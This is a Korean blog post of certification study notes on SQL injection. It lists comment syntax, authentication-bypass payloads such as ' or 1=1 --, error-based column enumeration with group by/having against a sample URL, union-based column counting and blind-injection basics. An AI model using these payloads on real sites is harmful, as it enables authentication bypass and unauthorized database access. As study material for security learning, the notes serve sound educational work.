한땀한땀 정성들인 코딩
sql injection 본문
sql주석
단일주석 -- (오라클)
단일주석 # (mysql)
전체주석 /**/
Blind SQL Injection
Union SQL Injection
Stored Procedure SQL Injection
테이블명 알아내기
' or''='
' or 1=1 --
' or 'a'='a --
' or'='or'
" or 1=1 --
" or "a"="a
') or ('a'='a
") or ("a"="a
or 1=1 --
or 'a='a
)or (1=1
'having 1=1 --
select
*
from
users
where
username =
' +username+ '
and
password
=
' +password+'
-->>>
select * from users where username = '' having 1=1-- ' and password = ''
Error Based 방식
1. 공격 포인트
-id창이나
-검색
-도메인?here
www.example.com/?idx=1
www.example.com/?idx=1'having 1=1-- //1번째 컬럼 idx
www.example.com/?idx=1' group by idx having 1=1-- //2번째 컬럼 bld
www.example.com/?idx=1' group by idx, bld having 1=1-- //3번째 컬럼
오류가 안뜨면 모든 컬럼명을 알아냈다.
sum(컬럼명) from 테이블
- datatype 알아내기
Union Based 방식
union : 여러 select문을 합쳐준다, 열의 개수과 같아야함, 같은 열은 datatype이 같아야함.
1. 공격포인트
2. union select 1,2,3,4,5 -- //컬럼갯수를 알수있음
Blind SQL injection
1. 쿼리문으로 참과 거짓일때의 서버의 반응을 알수 있어야함
2. 원하는 결과를 얻을 DB명을 알 수 있어야 함
3. substr, ascii, limit
'자격증 > 정보보안기사' 카테고리의 다른 글
2/28 (0) | 2017.02.26 |
---|---|
ssl (0) | 2017.02.14 |
network port (0) | 2017.02.13 |
CSRF 공겨기법 (0) | 2017.02.13 |
web어플 공격기법 (0) | 2017.02.12 |